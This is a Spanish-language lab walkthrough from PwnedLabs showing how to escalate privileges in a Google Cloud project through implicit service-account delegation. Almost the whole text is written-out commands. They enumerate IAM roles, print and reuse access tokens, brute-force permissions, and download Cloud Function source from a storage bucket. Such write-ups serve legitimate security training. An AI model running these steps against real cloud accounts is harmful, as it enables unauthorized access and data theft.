Escalate GCP privileges with Implicit Delegation
GCP PwnedLabs
Autenticamos con las credenciales que nos dan como recurso.

gcloud auth activate-service-account --key-file=sv1-337@gr-proj-1.iam.gserviceaccount.com.json

Vemos que tenemos un rol de un desarollador frontend.

gcloud projects get-iam-policy gr-proj-1 --flatten="bindings[].members" --format="table(bindings.role, bindings.members)" --filter="bindings.members:sv1-337@gr-proj-1.iam.gserviceaccount.com"
Desplegamos algunos permisos

gcloud iam roles describe CustomFrontendAppDevRole --project=gr-proj-1
Vemos los roles y permisos de la cuenta.

gcloud iam service-accounts get-iam-policy sv1-337@gr-proj-1.iam.gserviceaccount.com
Podemos ver las cuentas de servicio en el proyecto actual y tambien cuentas por defecto y servicios GCP customizados.

gcloud iam service-accounts list --project gr-proj-1 > cuentasdeservicio.txt
bc cuentasdeservicio.txt
Solo quiero los correos electronicos.

gcloud iam service-accounts list --project gr-proj-1 --format="value(email)" > cuentasdeservicio.txt
bc cuentasdeservicio.txt
No encontramos mucho con esa otra cuenta.
Pero si econtramos un rol customizado CustomRole736

gcloud projects get-iam-policy gr-proj-1 --flatten="bindings[].members" --format="table(bindings.role, bindings.members)" --filter="bindings.members:sv2-962@gr-proj-1.iam.gserviceaccount.com"
gcloud iam service-accounts get-iam-policy sv2-962@gr-proj-1.iam.gserviceaccount.com
Vemos que tenemos delegacion implicita.

gcloud iam roles describe CustomRole736 --project=gr-proj-1
Ahora vemos la tercera cuenta.

gcloud projects get-iam-policy gr-proj-1 --flatten="bindings[].members" --format="table(bindings.role, bindings.members)" --filter="bindings.members:sv3-939@gr-proj-1.iam.gserviceaccount.com"

gcloud iam service-accounts get-iam-policy sv3-939@gr-proj-1.iam.gserviceaccount.com

gcloud auth print-access-token
accessToken=ya29..
python3 gcp-sa-brute.py --all-permissions -t $accessToken -f ~/Desktop/cuentasdeservicio.txt

Creamos un archivo token2.txt y ponemos el accessToken.

El archivo de token2.txt debe tener lo siguiente.

Desplegamos la lista de funciones.

gcloud functions list --access-token-file token2.txt --project=gr-proj-1

Tratamos de hacer fuzzing con gcp-iam-brute.
python3 main.py --access-token <REDACTED> --project-id gr-proj-1 --service-account-email sv3-939@gr-proj-1.iam.gserviceaccount.com
Esta es otra manera de ver la funcion.

curl -H "Authorization: Bearer $TOKEN" "https://cloudfunctions.googleapis.com/v1/projects/gr-proj-1/locations/-/functions"
Aqui podemos ver el nombre del bucket.

curl -X GET -H "Authorization: Bearer $ACCESS_TOKEN" "https://storage.googleapis.com/storage/v1/b/$BUCKET_NAME/o"
Adquirimos el nombre del bucket.

gcloud functions describe function-1 --region=us-central1 --project=gr-proj-1 --access-token-file=token2.txt
Vemos la lista de archivos.

gcloud storage ls gs://gcf-sources-212055223570-us-central1/o/function-1-8678e4fb-cf43-4d97-b877-6512729bdba4/ --access-token-file=token2.txt
Copiamos el archivo que queremos a nuestra computadora.

gcloud storage cp gs://gcf-sources-212055223570-us-central1/o/function-1-8678e4fb-cf43-4d97-b877-6512729bdba4/version-2/function-source.zip . --access-token-file=token2.txt
unzip function-source.zip
bc flag.txt